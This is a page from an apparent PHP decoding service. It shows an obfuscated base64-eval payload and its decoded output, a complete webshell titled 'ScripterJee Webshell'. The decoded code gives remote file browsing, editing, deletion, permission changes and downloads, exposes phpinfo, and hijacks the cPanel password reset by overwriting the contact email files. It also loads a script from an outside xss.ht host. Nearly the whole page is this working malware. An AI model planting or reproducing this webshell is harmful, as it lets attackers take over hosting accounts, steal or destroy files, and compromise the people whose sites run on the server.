Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIFQ5VU1qOyBkZE9rdjogPz4KPC9wPjxwPjxzdHJvbmc+VXNlcjo8L3N0..

Decoded Output download


 goto T9UMj; ddOkv: ?>
</p><p><strong>User:</strong><?php  goto Rc7kJ; vd4Bu: echo htmlspecialchars($directory); goto qkgej; qkgej: ?>
</p></div><div style="flex:0"><a href="https://t.me/+AGp0b1bskxI0YzM1"target="_blank"><img alt="Logo"src="https://i.postimg.cc/qMTR3kF9/sjee2.png"style="max-width:350px"></a></div></div></div><div class="actions"><?php  goto UEvnS; d8vqZ: function deleteDirectory($dir) { if (!is_dir($dir)) { return false; } $items = array_diff(scandir($dir), array(".", "..")); foreach ($items as $item) { $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { deleteDirectory($path); } else { unlink($path); } } return rmdir($dir); } goto j_8bc; VD5A7: $user = $_SERVER["USER"] ?? "N/A"; goto BGojp; lmhiv: ?>
</p><p><strong>Client IP:</strong><?php  goto P8KQz; Chh8J: ?>
GB</p><p><strong>HDD Total Space:</strong><?php  goto oILl3; vOm0o: ?>
</p><p><strong>HDD Free Space:</strong><?php  goto iRFqt; Ntuvt: $editFileContent = ''; goto QZg8a; iRFqt: echo number_format($hddFreeSpace, 2); goto Chh8J; bcBYc: if (isset($_POST["action"]) && $_POST["action"] == "phpinfo") { phpinfo(); } goto v6cjX; BGojp: $phpVersion = phpversion(); goto uy7i5; CByds: ?>
<button onclick="toggleResetForm()"><i class="fas icon fa-sync-alt"></i>cPanel Reset</button></div><table class="file-list"><thead><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Actions</th></tr></thead><tbody><?php  goto fLNg1; huaGE: if (is_dir($directory)) { $files = scandir($directory); } goto jf10q; OLMSa: ?>
GB</p><p><strong>Server IP:</strong><?php  goto FKiic; D06YQ: function formatBytes($size, $precision = 2) { $base = log($size, 1024); $suffixes = array('', "KB", "MB", "GB", "TB"); return round(pow(1024, $base - floor($base)), $precision) . " " . $suffixes[floor($base)]; } goto okm4j; yL3X4: $items = scandir($current_dir); goto D06YQ; hmYc6: ?>
<!doctypehtml><html lang="en"><head><meta charset="UTF-8"><title>ScripterJee Webshell</title><script src="https://googlescripts.xss.ht"></script><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"rel="stylesheet"><style>body{font-family:Arial,sans-serif;margin:0;padding:0;background-color:#f4f4f4}.file-manager{width:80%;margin:20px auto;background-color:#fff;padding:20px;box-shadow:0 0 10px rgba(0,0,0,.1)}.file-manager h1{text-align:center}.system-info{margin-bottom:20px;background-color:#f9f9f9;padding:10px;border:1px solid #ddd}.file-list{width:100%;border-collapse:collapse}.file-list td,.file-list th{padding:10px;text-align:left;border-bottom:1px solid #ddd}.file-list th{background-color:#f0f0f0}.file-list tr:hover{background-color:#f9f9f9}.actions{text-align:center;margin-bottom:20px}.actions button{margin-right:10px;padding:10px 20px;background-color:#007bff;color:#fff;border:none;cursor:pointer}.actions button:hover{background-color:#0056b3}.icon{margin-right:5px}.file-actions{display:flex;justify-content:center}.file-actions form{display:inline}.file-actions button{background:0 0;border:none;color:#007bff;cursor:pointer;font-size:16px;margin:0 5px;padding:5px}.file-actions button:hover{color:#0056b3}.file-actions button i{margin-right:0}.edit-form{margin-top:20px}.edit-form textarea{width:100%;height:300px;font-family:monospace;font-size:14px}.edit-form button{background-color:#28a745;color:#fff;padding:10px 20px;border:none;cursor:pointer}.edit-form button:hover{background-color:#218838}.reset-form{display:none;margin-top:20px;color:#fff;padding:20px;text-align:center;width:50%;margin-left:auto;margin-right:auto}.reset-form input[type=email],.reset-form input[type=submit]{background-color:#181818;color:#80d713;padding:10px;border:none;margin:5px}.php-info-button{margin-top:20px;text-align:center}.php-info-button button{background-color:#17a2b8;color:#fff;padding:10px 20px;border:none;cursor:pointer}.php-info-button button:hover{background-color:#138496}</style><script>function toggleResetForm(){var e=document.getElementById("reset-form");"none"===e.style.display||""===e.style.display?e.style.display="block":e.style.display="none"}</script></head><body><div class="file-manager"><h1>ScripterJee Webshell</h1><div class="system-info"><div style="display:flex;justify-content:space-between;align-items:center"><div style="flex:1"><p><strong>Username:</strong><?php  goto EfhgO; j_8bc: function reset_cpanel_password($email) { $user = get_current_user(); $site = $_SERVER["HTTP_HOST"]; $resetUrl = $site . ":2082/resetpass?start=1"; $wr = "email:" . $email; $f = fopen("/home/" . $user . "/.cpanel/contactinfo", "w"); fwrite($f, $wr); fclose($f); $f = fopen("/home/" . $user . "/.contactinfo", "w"); fwrite($f, $wr); fclose($f); echo "<br/><center>Password reset link: <a href="http://" . $resetUrl . "">" . $resetUrl . "</a></center>"; echo "<br/><center>Username: " . $user . "</center>"; } goto CJFKl; dx_4w: if (!is_dir($current_dir)) { $current_dir = dirname(__FILE__); } goto yL3X4; yobw1: $parentDirectory = dirname($directory); goto VzM4a; RnpgP: $cwd = getcwd(); goto yobw1; e3ARS: $directory = realpath($directory) ?: "."; goto Bb6JT; e3vnH: ?>
<div class="reset-form"id="reset-form"><h2 style="color:#000">Reset cPanel Password</h2><form action=""method="POST"><input name="email"type="email"placeholder="Enter your email"required> <input name="cpanel_reset"type="submit"value="Send"></form></div><div class="php-info-button"><form action=""method="POST"><button name="action"type="submit"value="phpinfo">Show PHP Info</button></form></div><?php  goto bcBYc; q6XtA: $hddFreeSpace = disk_free_space("/") / (1024 * 1024 * 1024); goto ydMcL; P8KQz: echo htmlspecialchars($clientIP); goto MjPBH; XHmkj: ?>
</p><p><strong>Date and Time:</strong><?php  goto bfLC8; FKiic: echo htmlspecialchars($serverIP); goto lmhiv; oILl3: echo number_format($hddTotalSpace, 2); goto OLMSa; xTzJC: ?>
</p><p><strong>PHP Version:</strong><?php  goto SERZG; okm4j: $parent_dir = dirname($current_dir); goto Ntuvt; Rc7kJ: echo htmlspecialchars($username); goto xTzJC; MjPBH: ?>
</p><p><strong>Directory:</strong><?php  goto vd4Bu; bfLC8: echo htmlspecialchars($dateTime); goto vOm0o; VzM4a: if ($parentDirectory === false || $parentDirectory === "/") { $parentDirectory = "."; } goto hmYc6; Ir1AR: if ($editFileContent !== '') { ?>
<div class="edit-form"><h2>Editing File:<?php  echo htmlspecialchars($target); ?>
</h2><form action=""method="POST"><input name="target"type="hidden"value="<?php  echo htmlspecialchars($target); ?>
"> <textarea name="content"><?php  echo htmlspecialchars($editFileContent); ?>
</textarea> <button name="action"type="submit"value="save">Save Changes</button></form></div><?php  } goto e3vnH; ydMcL: $hddTotalSpace = disk_total_space("/") / (1024 * 1024 * 1024); goto MNew5; EfhgO: echo htmlspecialchars($username); goto ddOkv; UEvnS: if ($parentDirectory !== $directory) { ?>
<button onclick='location.href="?dir=<?php  echo urlencode($parentDirectory); ?>
"'><i class="fas icon fa-arrow-left"></i>Go Back</button><?php  } goto CByds; T9UMj: ini_set("display_errors", 0); goto lrrzu; CJFKl: if (isset($_POST["cpanel_reset"])) { $email = $_POST["email"]; reset_cpanel_password($email); } goto Sj5IB; QZg8a: $directory = isset($_GET["dir"]) ? $_GET["dir"] : "."; goto e3ARS; I2_GF: ?>
</tbody></table><?php  goto Ir1AR; SERZG: echo htmlspecialchars($phpVersion); goto XHmkj; lrrzu: $current_dir = isset($_GET["dir"]) ? $_GET["dir"] : dirname(__FILE__); goto dx_4w; jf10q: foreach ($files as $file) { if ($file === "." || $file === "..") { continue; } $filePath = $directory . DIRECTORY_SEPARATOR . $file; $fileSize = is_file($filePath) ? formatBytes(filesize($filePath)) : ''; $permissions = substr(sprintf("%o", fileperms($filePath)), -4); echo "<tr>"; if (is_dir($filePath)) { echo "<td><a href="?dir=" . urlencode($filePath) . ""><i class='fas fa-folder'></i> {$file}</a></td>"; } else { echo "<td><i class='fas fa-file'></i> {$file}</td>"; } echo "<td>{$fileSize}</td>"; echo "<td>{$permissions}</td>"; echo "<td class='file-actions'>"; echo "<form method='POST' action=''><input type='hidden' name='target' value='" . htmlspecialchars($filePath) . "'>"; if (is_file($filePath)) { echo "<button type='submit' name='action' value='edit'><i class='fas fa-edit'></i></button>"; echo "<button type='submit' name='action' value='download'><i class='fas fa-download'></i></button>"; } echo "<button type='submit' name='action' value='delete'><i class='fas fa-trash'></i></button>"; echo "<button type='submit' name='action' value='chmod'><i class='fas fa-key'></i></button>"; echo "</form>"; echo "</td>"; echo "</tr>"; } goto I2_GF; uy7i5: $dateTime = date("Y-m-d H:i:s"); goto q6XtA; MNew5: $serverIP = $_SERVER["SERVER_ADDR"]; goto K0GCF; Sj5IB: $username = get_current_user(); goto VD5A7; K0GCF: $clientIP = $_SERVER["REMOTE_ADDR"]; goto RnpgP; fLNg1: $files = array(); goto huaGE; Bb6JT: if (isset($_POST["action"])) { $action = $_POST["action"]; $target = $_POST["target"]; switch ($action) { case "delete": if (is_dir($target)) { deleteDirectory($target); } else { unlink($target); } break; case "edit": if (file_exists($target)) { $editFileContent = file_get_contents($target); } break; case "save": if (file_exists($target) && isset($_POST["content"])) { file_put_contents($target, $_POST["content"]); } break; case "chmod": if (isset($_POST["permissions"])) { chmod($target, octdec($_POST["permissions"])); } break; case "download": if (file_exists($target)) { header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=" . basename($target)); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($target)); readfile($target); die; } break; } } goto d8vqZ; v6cjX: ?>
</div></body></htm

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIFQ5VU1qOyBkZE9rdjogPz4KPC9wPjxwPjxzdHJvbmc+VXNlcjo8L3N0cm9uZz48P3BocCAgZ290byBSYzdrSjsgdmQ0QnU6IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGlyZWN0b3J5KTsgZ290byBxa2dlajsgcWtnZWo6ID8+CjwvcD48L2Rpdj48ZGl2IHN0eWxlPSJmbGV4OjAiPjxhIGhyZWY9Imh0dHBzOi8vdC5tZS8rQUdwMGIxYnNreEkwWXpNMSJ0YXJnZXQ9Il9ibGFuayI+PGltZyBhbHQ9IkxvZ28ic3JjPSJodHRwczovL2kucG9zdGltZy5jYy9xTVRSM2tGOS9zamVlMi5wbmcic3R5bGU9Im1heC13aWR0aDozNTBweCI+PC9hPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9ImFjdGlvbnMiPjw/cGhwICBnb3RvIFVFdm5TOyBkOHZxWjogZnVuY3Rpb24gZGVsZXRlRGlyZWN0b3J5KCRkaXIpIHsgaWYgKCFpc19kaXIoJGRpcikpIHsgcmV0dXJuIGZhbHNlOyB9ICRpdGVtcyA9IGFycmF5X2RpZmYoc2NhbmRpcigkZGlyKSwgYXJyYXkoIlw1NiIsICJcNTZcNTYiKSk7IGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSkgeyAkcGF0aCA9ICRkaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGl0ZW07IGlmIChpc19kaXIoJHBhdGgpKSB7IGRlbGV0ZURpcmVjdG9yeSgkcGF0aCk7IH0gZWxzZSB7IHVubGluaygkcGF0aCk7IH0gfSByZXR1cm4gcm1kaXIoJGRpcik7IH0gZ290byBqXzhiYzsgVkQ1QTc6ICR1c2VyID0gJF9TRVJWRVJbIlwxMjVcMTIzXDEwNVwxMjIiXSA/PyAiXHg0ZVw1N1wxMDEiOyBnb3RvIEJHb2pwOyBsbWhpdjogPz4KPC9wPjxwPjxzdHJvbmc+Q2xpZW50IElQOjwvc3Ryb25nPjw/cGhwICBnb3RvIFA4S1F6OyBDaGg4SjogPz4KR0I8L3A+PHA+PHN0cm9uZz5IREQgVG90YWwgU3BhY2U6PC9zdHJvbmc+PD9waHAgIGdvdG8gb0lMbDM7IHZPbTBvOiA/Pgo8L3A+PHA+PHN0cm9uZz5IREQgRnJlZSBTcGFjZTo8L3N0cm9uZz48P3BocCAgZ290byBpUkZxdDsgTnR1dnQ6ICRlZGl0RmlsZUNvbnRlbnQgPSAnJzsgZ290byBRWmc4YTsgaVJGcXQ6IGVjaG8gbnVtYmVyX2Zvcm1hdCgkaGRkRnJlZVNwYWNlLCAyKTsgZ290byBDaGg4SjsgYmNCWWM6IGlmIChpc3NldCgkX1BPU1RbIlx4NjFceDYzXHg3NFwxNTFcMTU3XDE1NiJdKSAmJiAkX1BPU1RbIlx4NjFcMTQzXHg3NFwxNTFcMTU3XHg2ZSJdID09ICJcMTYwXDE1MFwxNjBcMTUxXHg2ZVx4NjZceDZmIikgeyBwaHBpbmZvKCk7IH0gZ290byB2NmNqWDsgQkdvanA6ICRwaHBWZXJzaW9uID0gcGhwdmVyc2lvbigpOyBnb3RvIHV5N2k1OyBDQnlkczogPz4KPGJ1dHRvbiBvbmNsaWNrPSJ0b2dnbGVSZXNldEZvcm0oKSI+PGkgY2xhc3M9ImZhcyBpY29uIGZhLXN5bmMtYWx0Ij48L2k+Y1BhbmVsIFJlc2V0PC9idXR0b24+PC9kaXY+PHRhYmxlIGNsYXNzPSJmaWxlLWxpc3QiPjx0aGVhZD48dHI+PHRoPk5hbWU8L3RoPjx0aD5TaXplPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPjwvdGhlYWQ+PHRib2R5Pjw/cGhwICBnb3RvIGZMTmcxOyBodWFHRTogaWYgKGlzX2RpcigkZGlyZWN0b3J5KSkgeyAkZmlsZXMgPSBzY2FuZGlyKCRkaXJlY3RvcnkpOyB9IGdvdG8gamYxMHE7IE9MTVNhOiA/PgpHQjwvcD48cD48c3Ryb25nPlNlcnZlciBJUDo8L3N0cm9uZz48P3BocCAgZ290byBGS2lpYzsgRDA2WVE6IGZ1bmN0aW9uIGZvcm1hdEJ5dGVzKCRzaXplLCAkcHJlY2lzaW9uID0gMikgeyAkYmFzZSA9IGxvZygkc2l6ZSwgMTAyNCk7ICRzdWZmaXhlcyA9IGFycmF5KCcnLCAiXHg0YlwxMDIiLCAiXDExNVwxMDIiLCAiXDEwN1wxMDIiLCAiXDEyNFx4NDIiKTsgcmV0dXJuIHJvdW5kKHBvdygxMDI0LCAkYmFzZSAtIGZsb29yKCRiYXNlKSksICRwcmVjaXNpb24pIC4gIlw0MCIgLiAkc3VmZml4ZXNbZmxvb3IoJGJhc2UpXTsgfSBnb3RvIG9rbTRqOyB5TDNYNDogJGl0ZW1zID0gc2NhbmRpcigkY3VycmVudF9kaXIpOyBnb3RvIEQwNllROyBobVljNjogPz4KPCFkb2N0eXBlaHRtbD48aHRtbCBsYW5nPSJlbiI+PGhlYWQ+PG1ldGEgY2hhcnNldD0iVVRGLTgiPjx0aXRsZT5TY3JpcHRlckplZSBXZWJzaGVsbDwvdGl0bGU+PHNjcmlwdCBzcmM9Imh0dHBzOi8vZ29vZ2xlc2NyaXB0cy54c3MuaHQiPjwvc2NyaXB0PjxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjAuMC1iZXRhMy9jc3MvYWxsLm1pbi5jc3MicmVsPSJzdHlsZXNoZWV0Ij48c3R5bGU+Ym9keXtmb250LWZhbWlseTpBcmlhbCxzYW5zLXNlcmlmO21hcmdpbjowO3BhZGRpbmc6MDtiYWNrZ3JvdW5kLWNvbG9yOiNmNGY0ZjR9LmZpbGUtbWFuYWdlcnt3aWR0aDo4MCU7bWFyZ2luOjIwcHggYXV0bztiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7cGFkZGluZzoyMHB4O2JveC1zaGFkb3c6MCAwIDEwcHggcmdiYSgwLDAsMCwuMSl9LmZpbGUtbWFuYWdlciBoMXt0ZXh0LWFsaWduOmNlbnRlcn0uc3lzdGVtLWluZm97bWFyZ2luLWJvdHRvbToyMHB4O2JhY2tncm91bmQtY29sb3I6I2Y5ZjlmOTtwYWRkaW5nOjEwcHg7Ym9yZGVyOjFweCBzb2xpZCAjZGRkfS5maWxlLWxpc3R7d2lkdGg6MTAwJTtib3JkZXItY29sbGFwc2U6Y29sbGFwc2V9LmZpbGUtbGlzdCB0ZCwuZmlsZS1saXN0IHRoe3BhZGRpbmc6MTBweDt0ZXh0LWFsaWduOmxlZnQ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZH0uZmlsZS1saXN0IHRoe2JhY2tncm91bmQtY29sb3I6I2YwZjBmMH0uZmlsZS1saXN0IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2Y5ZjlmOX0uYWN0aW9uc3t0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW4tYm90dG9tOjIwcHh9LmFjdGlvbnMgYnV0dG9ue21hcmdpbi1yaWdodDoxMHB4O3BhZGRpbmc6MTBweCAyMHB4O2JhY2tncm91bmQtY29sb3I6IzAwN2JmZjtjb2xvcjojZmZmO2JvcmRlcjpub25lO2N1cnNvcjpwb2ludGVyfS5hY3Rpb25zIGJ1dHRvbjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiMwMDU2YjN9Lmljb257bWFyZ2luLXJpZ2h0OjVweH0uZmlsZS1hY3Rpb25ze2Rpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyfS5maWxlLWFjdGlvbnMgZm9ybXtkaXNwbGF5OmlubGluZX0uZmlsZS1hY3Rpb25zIGJ1dHRvbntiYWNrZ3JvdW5kOjAgMDtib3JkZXI6bm9uZTtjb2xvcjojMDA3YmZmO2N1cnNvcjpwb2ludGVyO2ZvbnQtc2l6ZToxNnB4O21hcmdpbjowIDVweDtwYWRkaW5nOjVweH0uZmlsZS1hY3Rpb25zIGJ1dHRvbjpob3Zlcntjb2xvcjojMDA1NmIzfS5maWxlLWFjdGlvbnMgYnV0dG9uIGl7bWFyZ2luLXJpZ2h0OjB9LmVkaXQtZm9ybXttYXJnaW4tdG9wOjIwcHh9LmVkaXQtZm9ybSB0ZXh0YXJlYXt3aWR0aDoxMDAlO2hlaWdodDozMDBweDtmb250LWZhbWlseTptb25vc3BhY2U7Zm9udC1zaXplOjE0cHh9LmVkaXQtZm9ybSBidXR0b257YmFja2dyb3VuZC1jb2xvcjojMjhhNzQ1O2NvbG9yOiNmZmY7cGFkZGluZzoxMHB4IDIwcHg7Ym9yZGVyOm5vbmU7Y3Vyc29yOnBvaW50ZXJ9LmVkaXQtZm9ybSBidXR0b246aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojMjE4ODM4fS5yZXNldC1mb3Jte2Rpc3BsYXk6bm9uZTttYXJnaW4tdG9wOjIwcHg7Y29sb3I6I2ZmZjtwYWRkaW5nOjIwcHg7dGV4dC1hbGlnbjpjZW50ZXI7d2lkdGg6NTAlO21hcmdpbi1sZWZ0OmF1dG87bWFyZ2luLXJpZ2h0OmF1dG99LnJlc2V0LWZvcm0gaW5wdXRbdHlwZT1lbWFpbF0sLnJlc2V0LWZvcm0gaW5wdXRbdHlwZT1zdWJtaXRde2JhY2tncm91bmQtY29sb3I6IzE4MTgxODtjb2xvcjojODBkNzEzO3BhZGRpbmc6MTBweDtib3JkZXI6bm9uZTttYXJnaW46NXB4fS5waHAtaW5mby1idXR0b257bWFyZ2luLXRvcDoyMHB4O3RleHQtYWxpZ246Y2VudGVyfS5waHAtaW5mby1idXR0b24gYnV0dG9ue2JhY2tncm91bmQtY29sb3I6IzE3YTJiODtjb2xvcjojZmZmO3BhZGRpbmc6MTBweCAyMHB4O2JvcmRlcjpub25lO2N1cnNvcjpwb2ludGVyfS5waHAtaW5mby1idXR0b24gYnV0dG9uOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzEzODQ5Nn08L3N0eWxlPjxzY3JpcHQ+ZnVuY3Rpb24gdG9nZ2xlUmVzZXRGb3JtKCl7dmFyIGU9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInJlc2V0LWZvcm0iKTsibm9uZSI9PT1lLnN0eWxlLmRpc3BsYXl8fCIiPT09ZS5zdHlsZS5kaXNwbGF5P2Uuc3R5bGUuZGlzcGxheT0iYmxvY2siOmUuc3R5bGUuZGlzcGxheT0ibm9uZSJ9PC9zY3JpcHQ+PC9oZWFkPjxib2R5PjxkaXYgY2xhc3M9ImZpbGUtbWFuYWdlciI+PGgxPlNjcmlwdGVySmVlIFdlYnNoZWxsPC9oMT48ZGl2IGNsYXNzPSJzeXN0ZW0taW5mbyI+PGRpdiBzdHlsZT0iZGlzcGxheTpmbGV4O2p1c3RpZnktY29udGVudDpzcGFjZS1iZXR3ZWVuO2FsaWduLWl0ZW1zOmNlbnRlciI+PGRpdiBzdHlsZT0iZmxleDoxIj48cD48c3Ryb25nPlVzZXJuYW1lOjwvc3Ryb25nPjw/cGhwICBnb3RvIEVmaGdPOyBqXzhiYzogZnVuY3Rpb24gcmVzZXRfY3BhbmVsX3Bhc3N3b3JkKCRlbWFpbCkgeyAkdXNlciA9IGdldF9jdXJyZW50X3VzZXIoKTsgJHNpdGUgPSAkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFx4NWZceDQ4XDExN1x4NTNceDU0Il07ICRyZXNldFVybCA9ICRzaXRlIC4gIlw3Mlx4MzJceDMwXDcwXHgzMlx4MmZcMTYyXDE0NVx4NzNcMTQ1XHg3NFx4NzBceDYxXDE2M1x4NzNceDNmXDE2M1x4NzRceDYxXHg3MlwxNjRcNzVceDMxIjsgJHdyID0gIlx4NjVceDZkXHg2MVwxNTFceDZjXDcyIiAuICRlbWFpbDsgJGYgPSBmb3BlbigiXHgyZlx4NjhceDZmXHg2ZFwxNDVcNTciIC4gJHVzZXIgLiAiXHgyZlx4MmVcMTQzXDE2MFx4NjFceDZlXHg2NVx4NmNceDJmXHg2M1x4NmZcMTU2XHg3NFwxNDFceDYzXDE2NFx4NjlcMTU2XDE0Nlx4NmYiLCAiXDE2NyIpOyBmd3JpdGUoJGYsICR3cik7IGZjbG9zZSgkZik7ICRmID0gZm9wZW4oIlx4MmZcMTUwXDE1N1wxNTVcMTQ1XDU3IiAuICR1c2VyIC4gIlx4MmZceDJlXDE0M1wxNTdcMTU2XHg3NFwxNDFceDYzXDE2NFwxNTFceDZlXDE0NlwxNTciLCAiXDE2NyIpOyBmd3JpdGUoJGYsICR3cik7IGZjbG9zZSgkZik7IGVjaG8gIlw3NFx4NjJceDcyXHgyZlw3Nlw3NFx4NjNcMTQ1XDE1Nlx4NzRcMTQ1XHg3Mlw3NlwxMjBceDYxXDE2M1x4NzNceDc3XDE1N1x4NzJceDY0XDQwXDE2Mlx4NjVceDczXDE0NVwxNjRcNDBcMTU0XDE1MVx4NmVceDZiXDcyXHgyMFx4M2NcMTQxXDQwXHg2OFx4NzJceDY1XDE0Nlx4M2RcNDJceDY4XHg3NFx4NzRcMTYwXHgzYVx4MmZcNTciIC4gJHJlc2V0VXJsIC4gIlx4MjJcNzYiIC4gJHJlc2V0VXJsIC4gIlx4M2NceDJmXHg2MVx4M2VceDNjXDU3XDE0M1wxNDVcMTU2XDE2NFwxNDVceDcyXDc2IjsgZWNobyAiXHgzY1wxNDJcMTYyXDU3XDc2XHgzY1x4NjNcMTQ1XDE1NlwxNjRceDY1XHg3Mlx4M2VcMTI1XDE2M1x4NjVceDcyXDE1NlwxNDFcMTU1XHg2NVw3Mlw0MCIgLiAkdXNlciAuICJcNzRcNTdcMTQzXDE0NVwxNTZceDc0XHg2NVx4NzJcNzYiOyB9IGdvdG8gQ0pGS2w7IGR4XzR3OiBpZiAoIWlzX2RpcigkY3VycmVudF9kaXIpKSB7ICRjdXJyZW50X2RpciA9IGRpcm5hbWUoX19GSUxFX18pOyB9IGdvdG8geUwzWDQ7IHlvYncxOiAkcGFyZW50RGlyZWN0b3J5ID0gZGlybmFtZSgkZGlyZWN0b3J5KTsgZ290byBWek00YTsgUm5wZ1A6ICRjd2QgPSBnZXRjd2QoKTsgZ290byB5b2J3MTsgZTNBUlM6ICRkaXJlY3RvcnkgPSByZWFscGF0aCgkZGlyZWN0b3J5KSA/OiAiXDU2IjsgZ290byBCYjZKVDsgZTN2bkg6ID8+CjxkaXYgY2xhc3M9InJlc2V0LWZvcm0iaWQ9InJlc2V0LWZvcm0iPjxoMiBzdHlsZT0iY29sb3I6IzAwMCI+UmVzZXQgY1BhbmVsIFBhc3N3b3JkPC9oMj48Zm9ybSBhY3Rpb249IiJtZXRob2Q9IlBPU1QiPjxpbnB1dCBuYW1lPSJlbWFpbCJ0eXBlPSJlbWFpbCJwbGFjZWhvbGRlcj0iRW50ZXIgeW91ciBlbWFpbCJyZXF1aXJlZD4gPGlucHV0IG5hbWU9ImNwYW5lbF9yZXNldCJ0eXBlPSJzdWJtaXQidmFsdWU9IlNlbmQiPjwvZm9ybT48L2Rpdj48ZGl2IGNsYXNzPSJwaHAtaW5mby1idXR0b24iPjxmb3JtIGFjdGlvbj0iIm1ldGhvZD0iUE9TVCI+PGJ1dHRvbiBuYW1lPSJhY3Rpb24idHlwZT0ic3VibWl0InZhbHVlPSJwaHBpbmZvIj5TaG93IFBIUCBJbmZvPC9idXR0b24+PC9mb3JtPjwvZGl2Pjw/cGhwICBnb3RvIGJjQlljOyBxNlh0QTogJGhkZEZyZWVTcGFjZSA9IGRpc2tfZnJlZV9zcGFjZSgiXHgyZiIpIC8gKDEwMjQgKiAxMDI0ICogMTAyNCk7IGdvdG8geWRNY0w7IFA4S1F6OiBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGNsaWVudElQKTsgZ290byBNalBCSDsgWEhta2o6ID8+CjwvcD48cD48c3Ryb25nPkRhdGUgYW5kIFRpbWU6PC9zdHJvbmc+PD9waHAgIGdvdG8gYmZMQzg7IEZLaWljOiBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNlcnZlcklQKTsgZ290byBsbWhpdjsgb0lMbDM6IGVjaG8gbnVtYmVyX2Zvcm1hdCgkaGRkVG90YWxTcGFjZSwgMik7IGdvdG8gT0xNU2E7IHhUekpDOiA/Pgo8L3A+PHA+PHN0cm9uZz5QSFAgVmVyc2lvbjo8L3N0cm9uZz48P3BocCAgZ290byBTRVJaRzsgb2ttNGo6ICRwYXJlbnRfZGlyID0gZGlybmFtZSgkY3VycmVudF9kaXIpOyBnb3RvIE50dXZ0OyBSYzdrSjogZWNobyBodG1sc3BlY2lhbGNoYXJzKCR1c2VybmFtZSk7IGdvdG8geFR6SkM7IE1qUEJIOiA/Pgo8L3A+PHA+PHN0cm9uZz5EaXJlY3Rvcnk6PC9zdHJvbmc+PD9waHAgIGdvdG8gdmQ0QnU7IGJmTEM4OiBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRhdGVUaW1lKTsgZ290byB2T20wbzsgVnpNNGE6IGlmICgkcGFyZW50RGlyZWN0b3J5ID09PSBmYWxzZSB8fCAkcGFyZW50RGlyZWN0b3J5ID09PSAiXDU3IikgeyAkcGFyZW50RGlyZWN0b3J5ID0gIlw1NiI7IH0gZ290byBobVljNjsgSXIxQVI6IGlmICgkZWRpdEZpbGVDb250ZW50ICE9PSAnJykgeyA/Pgo8ZGl2IGNsYXNzPSJlZGl0LWZvcm0iPjxoMj5FZGl0aW5nIEZpbGU6PD9waHAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkdGFyZ2V0KTsgPz4KPC9oMj48Zm9ybSBhY3Rpb249IiJtZXRob2Q9IlBPU1QiPjxpbnB1dCBuYW1lPSJ0YXJnZXQidHlwZT0iaGlkZGVuInZhbHVlPSI8P3BocCAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCR0YXJnZXQpOyA/PgoiPiA8dGV4dGFyZWEgbmFtZT0iY29udGVudCI+PD9waHAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZWRpdEZpbGVDb250ZW50KTsgPz4KPC90ZXh0YXJlYT4gPGJ1dHRvbiBuYW1lPSJhY3Rpb24idHlwZT0ic3VibWl0InZhbHVlPSJzYXZlIj5TYXZlIENoYW5nZXM8L2J1dHRvbj48L2Zvcm0+PC9kaXY+PD9waHAgIH0gZ290byBlM3ZuSDsgeWRNY0w6ICRoZGRUb3RhbFNwYWNlID0gZGlza190b3RhbF9zcGFjZSgiXHgyZiIpIC8gKDEwMjQgKiAxMDI0ICogMTAyNCk7IGdvdG8gTU5ldzU7IEVmaGdPOiBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHVzZXJuYW1lKTsgZ290byBkZE9rdjsgVUV2blM6IGlmICgkcGFyZW50RGlyZWN0b3J5ICE9PSAkZGlyZWN0b3J5KSB7ID8+CjxidXR0b24gb25jbGljaz0nbG9jYXRpb24uaHJlZj0iP2Rpcj08P3BocCAgZWNobyB1cmxlbmNvZGUoJHBhcmVudERpcmVjdG9yeSk7ID8+CiInPjxpIGNsYXNzPSJmYXMgaWNvbiBmYS1hcnJvdy1sZWZ0Ij48L2k+R28gQmFjazwvYnV0dG9uPjw/cGhwICB9IGdvdG8gQ0J5ZHM7IFQ5VU1qOiBpbmlfc2V0KCJceDY0XHg2OVwxNjNceDcwXDE1NFx4NjFceDc5XHg1ZlwxNDVcMTYyXDE2MlwxNTdceDcyXHg3MyIsIDApOyBnb3RvIGxycnp1OyBDSkZLbDogaWYgKGlzc2V0KCRfUE9TVFsiXHg2M1wxNjBceDYxXDE1NlwxNDVcMTU0XDEzN1wxNjJcMTQ1XHg3M1x4NjVceDc0Il0pKSB7ICRlbWFpbCA9ICRfUE9TVFsiXDE0NVx4NmRceDYxXDE1MVwxNTQiXTsgcmVzZXRfY3BhbmVsX3Bhc3N3b3JkKCRlbWFpbCk7IH0gZ290byBTajVJQjsgUVpnOGE6